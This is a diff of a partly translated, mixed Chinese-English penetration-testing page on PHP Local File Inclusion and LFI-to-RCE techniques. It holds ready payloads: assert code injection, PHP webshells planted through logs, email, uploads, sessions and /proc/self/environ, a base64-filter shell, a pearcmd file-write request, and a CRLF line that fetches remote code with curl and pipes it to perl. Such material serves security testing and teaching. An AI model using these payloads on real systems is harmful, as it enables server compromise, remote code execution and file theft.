		||||
当 web 应用使用如 `include` 等函数进行文件加载时,可利用 `.phar` 文件来执行 PHP 代码。下面的 PHP 代码片段演示了如何创建 `.phar` 文件:
 | 
			
		||||
```php
 | 
			
		||||
<?php
 | 
			
		||||
$phar = new Phar('test.phar');
 | 
			
		||||
@ -358,11 +358,11 @@ $phar->stopBuffering();
 | 
			
		||||
```bash
 | 
			
		||||
php --define phar.readonly=0 create_path.php
 | 
			
		||||
```
 | 
			
		||||
执行后,会创建一个名为 `test.phar` 的文件,该文件可能被用来利用 Local File Inclusion (LFI) 漏洞。
 | 
			
		||||
执行后,会创建一个名为 `test.phar` 的文件,这个文件可能被用来利用 Local File Inclusion (LFI) 漏洞。
 | 
			
		||||
 | 
			
		||||
在 LFI 仅执行文件读取而不运行其中 PHP 代码的情况下,比如通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用与 `phar` 协议读取文件相关的反序列化漏洞。
 | 
			
		||||
如果 LFI 只是通过诸如 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数读取文件而不执行其中的 PHP 代码,则可以尝试利用反序列化(deserialization)漏洞。该漏洞与使用 `phar` 协议读取文件有关。
 | 
			
		||||
 | 
			
		||||
要详细了解在 `.phar` 文件上下文中利用反序列化漏洞,请参阅下面的文档:
 | 
			
		||||
关于在 .phar 文件上下文中利用反序列化漏洞的详细说明,请参见下面的文档:
 | 
			
		||||
 | 
			
		||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
 | 
			
		||||
 | 
			
		||||
@ -373,36 +373,36 @@ phar-deserialization.md
 | 
			
		||||
 | 
			
		||||
### CVE-2024-2961
 | 
			
		||||
 | 
			
		||||
可以滥用 **任何由 PHP 读取且支持 php filters 的任意文件** 来获得 RCE。The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
 | 
			
		||||
非常简要的总结:在 PHP heap 中利用了一个 **3 byte overflow** 来**修改特定大小空闲 chunk 的链**,以便能够**在任意地址写入任意内容**,因此添加了一个钩子来调用 **`system`**。\
 | 
			
		||||
可以滥用 **any arbitrary file read from PHP that supports php filters** 来获得 RCE。详细描述可以 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
 | 
			
		||||
非常简短的总结:滥用 PHP heap 中的 **3 byte overflow** 来 **alter the chain of free chunks**(更改特定大小的空闲块链),以能够 **write anything in any address**,因此添加了一个 hook 来调用 **`system`**。\
 | 
			
		||||
可以通过滥用更多 php filters 来分配特定大小的 chunks。
 | 
			
		||||
 | 
			
		||||
### 更多协议
 | 
			
		||||
### More protocols
 | 
			
		||||
 | 
			
		||||
查看更多可能的[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
 | 
			
		||||
查看更多可能的[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
 | 
			
		||||
 | 
			
		||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在 file inclusion 攻击中如何有用)
 | 
			
		||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
 | 
			
		||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URLs
 | 
			
		||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URLs
 | 
			
		||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
 | 
			
		||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不会返回可打印的内容,因此在这里并不太有用)
 | 
			
		||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不返回任何可打印内容,所以在这里并不太有用)
 | 
			
		||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
 | 
			
		||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适用于读取任意文件)
 | 
			
		||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适合读取任意文件)
 | 
			
		||||
 | 
			
		||||
## LFI via PHP's 'assert'
 | 
			
		||||
 | 
			
		||||
当涉及 'assert' 函数时,PHP 中的 Local File Inclusion (LFI) 风险尤其高,因为该函数可以执行字符串内的代码。特别是在对包含目录穿越字符(如 `..`)的输入进行检查但未正确消毒的情况下,这尤其成问题。
 | 
			
		||||
当处理 'assert' 函数时,PHP 中的 Local File Inclusion (LFI) 风险尤其高,因为该函数可以执行字符串中的代码。如果对包含类似 ".." 的目录遍历字符的输入进行了检查但没有正确消毒,这尤其成问题。
 | 
			
		||||
 | 
			
		||||
例如,PHP 代码可能被设计为如下防止目录遍历:
 | 
			
		||||
例如,PHP 代码可能被设计成如下以防止目录遍历:
 | 
			
		||||
```bash
 | 
			
		||||
assert("strpos('$file', '..') === false") or die("");
 | 
			
		||||
```
 | 
			
		||||
虽然这旨在阻止遍历,但它无意中创造了一个代码注入的向量。要利用这一点读取文件内容,攻击者可以使用:
 | 
			
		||||
尽管这旨在阻止 traversal,但它无意中为 code injection 创建了一个向量。为了利用这一点读取文件内容,攻击者可以使用:
 | 
			
		||||
```plaintext
 | 
			
		||||
' and die(highlight_file('/etc/passwd')) or '
 | 
			
		||||
```
 | 
			
		||||
同样地,为了执行任意系统命令,可以使用:
 | 
			
		||||
同样地,要执行任意系统命令,可以使用:
 | 
			
		||||
```plaintext
 | 
			
		||||
' and die(system("id")) or '
 | 
			
		||||
```
 | 
			
		||||
@ -411,36 +411,36 @@ It's important to **URL-encode these payloads**.
 | 
			
		||||
## PHP Blind Path Traversal
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> 该技术适用于你**控制**一个**PHP 函数**的**文件路径**,该函数会**访问文件**但你无法看到文件内容的情形(比如简单调用 **`file()`**),即内容不会被显示。
 | 
			
		||||
> 此技术适用于你 **控制** **文件路径** 的 **PHP 函数**,该函数会 **访问文件**,但你看不到文件内容(例如简单调用 **`file()`**),且内容不会被显示。
 | 
			
		||||
 | 
			
		||||
在 [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) 中解释了如何通过 PHP filter 利用盲路径遍历来通过错误 oracle **exfiltrate** 文件内容。
 | 
			
		||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
 | 
			
		||||
 | 
			
		||||
概括来说,该技术使用 **"UCS-4LE" encoding** 将文件内容变得足够**大**,以至于打开该文件的 **PHP 函数** 会触发一个**错误**。
 | 
			
		||||
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
 | 
			
		||||
 | 
			
		||||
然后,为了 leak 第一个字符,使用 filter **`dechunk`** 以及其他如 **base64** 或 **rot13**,最后用 filters **convert.iconv.UCS-4.UCS-4LE** 和 **convert.iconv.UTF16.UTF-16BE** 来**在开头放置其他字符并 leak 它们**。
 | 
			
		||||
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **将其他字符放在开头并 leak 它们**.
 | 
			
		||||
 | 
			
		||||
可能易受影响的函数: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
 | 
			
		||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
 | 
			
		||||
 | 
			
		||||
有关技术细节,请查看上述文章!
 | 
			
		||||
For the technical details check the mentioned post!
 | 
			
		||||
 | 
			
		||||
## LFI2RCE
 | 
			
		||||
 | 
			
		||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
 | 
			
		||||
 | 
			
		||||
当服务端用于接收/上传文件的代码在构建目标路径时使用了用户控制的数据(例如文件名或 URL),且没有进行规范化和校验,`..` 段和绝对路径就可能逃出预期目录并导致任意文件写入。如果你能将 payload 放到一个对外暴露的 web 目录下,通常可以通过放置 webshell 来获取未认证的 RCE。
 | 
			
		||||
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
 | 
			
		||||
 | 
			
		||||
典型利用流程:
 | 
			
		||||
- 识别一个在 endpoint 或后台 worker 中的写入原语,该原语接受路径/文件名并将内容写入磁盘(例如消息驱动的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。
 | 
			
		||||
- 确定对外暴露的 web 目录。常见示例:
 | 
			
		||||
Typical exploitation workflow:
 | 
			
		||||
- 识别在某个 endpoint 或后台 worker 中的写入原语,该原语接受路径/文件名并将内容写入磁盘(例如:基于消息的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。
 | 
			
		||||
- 确定 web-exposed directories。常见例子:
 | 
			
		||||
- Apache/PHP: `/var/www/html/`
 | 
			
		||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
 | 
			
		||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
 | 
			
		||||
- 构造一个 traversal 路径,将其从预期的存储目录突破到 webroot,并包含你的 webshell 内容。
 | 
			
		||||
- 访问被写入的 payload 并执行命令。
 | 
			
		||||
- 构造一个 traversal 路径,将其从预期存储目录跳出到 webroot,并包含你的 webshell 内容。
 | 
			
		||||
- 访问已写入的 payload 并执行命令。
 | 
			
		||||
 | 
			
		||||
注意:
 | 
			
		||||
- 执行写入的易受攻击服务可能监听非 HTTP 端口(例如在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)随后会提供你的 payload。
 | 
			
		||||
- 在 Java 技术栈中,这类文件写入通常通过简单的 `File`/`Paths` 拼接实现。缺乏规范化/白名单是核心缺陷。
 | 
			
		||||
Notes:
 | 
			
		||||
- 执行写入的易受攻击服务可能监听在非 HTTP 端口(例如,TCP 4004 上的 JMF XML 监听器)。主 web 门户(不同端口)随后会提供你的 payload。
 | 
			
		||||
- 在 Java 堆栈上,这些文件写入通常通过简单的 `File`/`Paths` 拼接实现。缺乏规范化/allow-listing 是核心缺陷。
 | 
			
		||||
 | 
			
		||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
 | 
			
		||||
```xml
 | 
			
		||||
@ -466,25 +466,25 @@ in.transferTo(out);
 | 
			
		||||
</Command>
 | 
			
		||||
</JMF>
 | 
			
		||||
```
 | 
			
		||||
硬化措施,可以防止这一类漏洞:
 | 
			
		||||
- 解析为规范路径,并确保它是允许白名单基目录的子目录。
 | 
			
		||||
缓解这类漏洞的加固措施:
 | 
			
		||||
- 将路径解析为规范路径并强制其为允许列表基目录的子目录。
 | 
			
		||||
- 拒绝任何包含 `..`、绝对根路径或驱动器字母的路径;优先使用生成的文件名。
 | 
			
		||||
- 以低权限账户运行写入进程,并将写入目录与对外提供的根目录隔离。
 | 
			
		||||
- 以低权限账户运行写入程序,并将写入目录与对外提供的根目录隔离。
 | 
			
		||||
 | 
			
		||||
## Remote File Inclusion
 | 
			
		||||
 | 
			
		||||
前面已解释,[**请点击此链接**](#remote-file-inclusion)。
 | 
			
		||||
Explained previously, [**follow this link**](#remote-file-inclusion).
 | 
			
		||||
 | 
			
		||||
### Via Apache/Nginx log file
 | 
			
		||||
### 通过 Apache/Nginx 日志文件
 | 
			
		||||
 | 
			
		||||
如果 Apache 或 Nginx 服务器在 include 函数中**易受 LFI**,你可以尝试访问 **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**,在 **user agent** 或 **GET parameter** 中写入类似 **`<?php system($_GET['c']); ?>`** 的 php shell,然后 include 该文件
 | 
			
		||||
如果 Apache 或 Nginx 服务器在 include 函数中对 **LFI** 易受攻击,可以尝试访问 **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**,在 **user agent** 或 **GET parameter** 中放置一个 php shell like **`<?php system($_GET['c']); ?>`** 并包含该文件
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> 注意,**如果你为 shell 使用双引号**而不是**单引号**,双引号会被修改为字符串 "_**quote;**_",**PHP 会在那抛出错误**,并且**不会执行其他任何东西**。
 | 
			
		||||
> 注意,**如果你使用双引号** 为 shell 而不是 **单引号**,双引号会被修改为字符串 "_**quote;**_",**PHP 会在此抛出错误**,并且**不会执行其他任何操作**。
 | 
			
		||||
>
 | 
			
		||||
> 另外,确保你**正确编写 payload**,否则每次尝试加载日志文件时 PHP 都会报错,并且你不会有第二次机会。
 | 
			
		||||
> 另外,确保你**正确地写入 payload**,否则每次尝试加载日志文件时 PHP 都会报错,你将没有第二次机会。
 | 
			
		||||
 | 
			
		||||
这也可以在其他日志中完成,但**要小心,**日志内的代码可能是 URL 编码的,这会破坏 Shell。头部 **authorisation "basic"** 包含以 Base64 编码的 "user:password",并且会在日志中被解码。PHPShell 可以插入到该头部中。  
 | 
			
		||||
这也可以在其他日志中完成,但**要小心,**日志中的代码可能是 URL encoded,这可能会破坏 Shell。头部 **authorisation "basic"** 包含 "user:password" 的 Base64 编码并且在日志中会被解码。PHPShell 可以插入到该头部中。\
 | 
			
		||||
其他可能的日志路径:
 | 
			
		||||
```python
 | 
			
		||||
/var/log/apache2/access.log
 | 
			
		||||
@ -497,27 +497,27 @@ in.transferTo(out);
 | 
			
		||||
/var/log/nginx/error.log
 | 
			
		||||
/var/log/httpd/error_log
 | 
			
		||||
```
 | 
			
		||||
Fuzzing 字典: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
 | 
			
		||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
 | 
			
		||||
 | 
			
		||||
### 通过电子邮件
 | 
			
		||||
 | 
			
		||||
**向内部账户发送邮件**(user@localhost),邮件中包含你的 PHP payload,例如 `<?php echo system($_REQUEST["cmd"]); ?>`,然后尝试包含用户的邮件,路径例如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
 | 
			
		||||
**发送邮件** 到一个内部账号 (user@localhost),邮件中包含你的 PHP payload,比如 `<?php echo system($_REQUEST["cmd"]); ?>`,并尝试包含该用户的邮件,路径例如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
 | 
			
		||||
 | 
			
		||||
### Via /proc/\*/fd/\*
 | 
			
		||||
### 通过 /proc/\*/fd/\*
 | 
			
		||||
 | 
			
		||||
1. 上传大量 shells(例如:100)
 | 
			
		||||
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可以暴力猜测)且 $FD 为文件描述符(也可以暴力猜测)
 | 
			
		||||
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可通过暴力枚举),$FD 是文件描述符(也可通过暴力枚举)
 | 
			
		||||
 | 
			
		||||
### Via /proc/self/environ
 | 
			
		||||
### 通过 /proc/self/environ
 | 
			
		||||
 | 
			
		||||
类似于日志文件,将 payload 放在 User-Agent 中发送,它会被反射到 /proc/self/environ 文件中
 | 
			
		||||
像日志文件一样,将 payload 放在 User-Agent 中,它会被反射到 /proc/self/environ 文件中
 | 
			
		||||
```
 | 
			
		||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 | 
			
		||||
User-Agent: <?=phpinfo(); ?>
 | 
			
		||||
```
 | 
			
		||||
### Via upload
 | 
			
		||||
### 通过 upload
 | 
			
		||||
 | 
			
		||||
如果你可以 upload 文件,只需在其中注入 shell payload(例如:`<?php system($_GET['c']); ?>`)。
 | 
			
		||||
如果你可以 upload 一个文件,只需 inject shell payload 到其中(e.g : `<?php system($_GET['c']); ?>`)。
 | 
			
		||||
```
 | 
			
		||||
http://example.com/index.php?page=path/to/uploaded/file.png
 | 
			
		||||
```
 | 
			
		||||
@ -525,18 +525,18 @@ http://example.com/index.php?page=path/to/uploaded/file.png
 | 
			
		||||
 | 
			
		||||
### 通过 ZIP 文件上传
 | 
			
		||||
 | 
			
		||||
上传包含已压缩 PHP shell 的 ZIP 文件并访问:
 | 
			
		||||
上传一个包含 PHP shell 的 ZIP 文件并访问:
 | 
			
		||||
```python
 | 
			
		||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 | 
			
		||||
```
 | 
			
		||||
### Via PHP sessions
 | 
			
		||||
### 通过 PHP sessions
 | 
			
		||||
 | 
			
		||||
检查网站是否使用 PHP Session (PHPSESSID)
 | 
			
		||||
```
 | 
			
		||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 | 
			
		||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
 | 
			
		||||
```
 | 
			
		||||
在 PHP 中,这些 sessions 存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中
 | 
			
		||||
在 PHP 中,这些会话被存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中
 | 
			
		||||
```
 | 
			
		||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 | 
			
		||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
 | 
			
		||||
@ -545,83 +545,83 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
 | 
			
		||||
```
 | 
			
		||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 | 
			
		||||
```
 | 
			
		||||
使用 LFI 包含 PHP session 文件
 | 
			
		||||
使用 LFI 包含 PHP 会话文件
 | 
			
		||||
```
 | 
			
		||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 | 
			
		||||
```
 | 
			
		||||
### 通过 ssh
 | 
			
		||||
 | 
			
		||||
如果 ssh 处于活动状态,检查正在使用的用户(/proc/self/status & /etc/passwd),并尝试访问 **\<HOME>/.ssh/id_rsa**
 | 
			
		||||
如果 ssh 可用,检查当前使用的是哪个用户(/proc/self/status & /etc/passwd)并尝试访问 **\<HOME>/.ssh/id_rsa**
 | 
			
		||||
 | 
			
		||||
### **通过** **vsftpd** _**日志**_
 | 
			
		||||
 | 
			
		||||
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。如果存在 Local File Inclusion (LFI) 漏洞,并且可以访问暴露的 vsftpd 服务器,则可以考虑以下步骤:
 | 
			
		||||
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在 Local File Inclusion (LFI) 漏洞且可以访问暴露的 vsftpd 服务的情况下,可以考虑以下步骤:
 | 
			
		||||
 | 
			
		||||
1. 在登录过程中将 PHP payload 注入到 username 字段。
 | 
			
		||||
1. 在登录过程中,将 PHP payload 注入到用户名字段。
 | 
			
		||||
2. 注入后,利用 LFI 从 _**/var/log/vsftpd.log**_ 检索服务器日志。
 | 
			
		||||
 | 
			
		||||
### 通过 php base64 filter (使用 base64)
 | 
			
		||||
### 通过 php base64 filter (using base64)
 | 
			
		||||
 | 
			
		||||
正如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 filter 会忽略非 base64 字符。你可以利用这一点绕过文件扩展名检查:如果你提供以 ".php" 结尾的 base64,它会忽略“.”并将“php”追加到 base64。下面是一个示例 payload:
 | 
			
		||||
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 filter 只是忽略非-base64。你可以使用该方法绕过文件扩展名检查:如果你提供以 ".php" 结尾的 base64,它会忽略 "." 并将 "php" 附加到 base64。下面是一个示例 payload:
 | 
			
		||||
```url
 | 
			
		||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
 | 
			
		||||
 | 
			
		||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 | 
			
		||||
```
 | 
			
		||||
### 通过 php filters(无需文件)
 | 
			
		||||
### Via php filters (no file needed)
 | 
			
		||||
 | 
			
		||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 说明你可以使用 **php filters to generate arbitrary content** 作为输出。这基本上意味着你可以为 include **generate arbitrary php code**,而且**无需将其写入**文件。
 | 
			
		||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
lfi2rce-via-php-filters.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### 通过 segmentation fault
 | 
			
		||||
### Via segmentation fault
 | 
			
		||||
 | 
			
		||||
**Upload** 一个文件,该文件将作为 **temporary** 存储在 `/tmp`,然后在 **same request** 触发一个 **segmentation fault**,这样 **temporary file won't be deleted**,你就可以搜索它。
 | 
			
		||||
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
lfi2rce-via-segmentation-fault.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### 通过 Nginx temp file storage
 | 
			
		||||
### Via Nginx temp file storage
 | 
			
		||||
 | 
			
		||||
如果你发现了 **Local File Inclusion** 并且 **Nginx** 在 PHP 前端运行,你可能能够使用以下技术获得 **RCE**:
 | 
			
		||||
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
lfi2rce-via-nginx-temp-files.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### 通过 PHP_SESSION_UPLOAD_PROGRESS
 | 
			
		||||
### Via PHP_SESSION_UPLOAD_PROGRESS
 | 
			
		||||
 | 
			
		||||
如果你发现了 **Local File Inclusion**,即使你**don't have a session** 且 `session.auto_start` 为 `Off`。如果你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 会为你**enable the session**。你可以滥用此来获得 **RCE**:
 | 
			
		||||
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
via-php_session_upload_progress.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### 通过 Windows 上的临时文件上传
 | 
			
		||||
### Via temp file uploads in Windows
 | 
			
		||||
 | 
			
		||||
如果你发现 **Local File Inclusion** 且服务器运行在 **Windows**,你可能获得 **RCE**:
 | 
			
		||||
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
lfi2rce-via-temp-file-uploads.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### 通过 `pearcmd.php` + URL args
 | 
			
		||||
### Via `pearcmd.php` + URL args
 | 
			
		||||
 | 
			
		||||
正如 [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) 所述,脚本 `/usr/local/lib/phppearcmd.php` 在 php docker images 中默认存在。此外,可以通过 URL 向该脚本传递参数,因为指出如果 URL param 没有 `=`,它应被用作 argument。另见 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 和 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)。
 | 
			
		||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
 | 
			
		||||
 | 
			
		||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
 | 
			
		||||
```bash
 | 
			
		||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 | 
			
		||||
```
 | 
			
		||||
以下示範如何濫用 CRLF vuln 以獲得 RCE (來自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
 | 
			
		||||
下面示例滥用 CRLF vuln 以获取 RCE(来自 [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
 | 
			
		||||
```
 | 
			
		||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 | 
			
		||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
 | 
			
		||||
@ -630,8 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
 | 
			
		||||
```
 | 
			
		||||
### 通过 phpinfo() (file_uploads = on)
 | 
			
		||||
 | 
			
		||||
如果你发现了一个 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以获得 RCE:
 | 
			
		||||
 | 
			
		||||
如果你发现了一个 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 且 file_uploads = on 的文件,你可以获得 RCE:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
lfi2rce-via-phpinfo.md
 | 
			
		||||
@ -639,8 +638,7 @@ lfi2rce-via-phpinfo.md
 | 
			
		||||
 | 
			
		||||
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
 | 
			
		||||
 | 
			
		||||
如果你发现了一个 **Local File Inclusion** 并且你 **can exfiltrate the path** of the temp file,但 **server** 正在 **checking** 是否 **file to be included has PHP marks**,你可以尝试用这个 **Race Condition** 来 **bypass that check**:
 | 
			
		||||
 | 
			
		||||
如果你发现了 **Local File Inclusion** 并且你**可以 exfiltrate the path** 临时文件的路径,但 **server** 正在 **checking** 要包含的文件是否有 PHP 标记,你可以尝试用这个 **Race Condition** 来 **bypass that check**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 | 
			
		||||
@ -648,8 +646,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 | 
			
		||||
 | 
			
		||||
### 通过 eternal waiting + bruteforce
 | 
			
		||||
 | 
			
		||||
如果你可以滥用 LFI 来 **upload temporary files** 并使 **server** **hang** PHP 执行,你可以随后 **brute force filenames during hours** 来找到临时文件:
 | 
			
		||||
 | 
			
		||||
如果你能滥用 LFI 来**upload temporary files** 并使服务器**hang** PHP 执行,你就可以在数小时内**brute force filenames** 来找到临时文件:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
lfi2rce-via-eternal-waiting.md
 | 
			
		||||
@ -657,14 +654,14 @@ lfi2rce-via-eternal-waiting.md
 | 
			
		||||
 | 
			
		||||
### 导致 Fatal Error
 | 
			
		||||
 | 
			
		||||
如果你包含以下任意文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含相同的文件 2 次来触发该错误)。
 | 
			
		||||
如果你包含任何以下文件 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`。(你需要包含同一个文件两次以触发该错误)。
 | 
			
		||||
 | 
			
		||||
**我不知道这有何用,但它可能有用。**\
 | 
			
		||||
**我不知道这有什么用,但可能有用。**\
 | 
			
		||||
_即使你导致了 PHP Fatal Error,上传的 PHP 临时文件也会被删除。_
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
## 参考资料
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
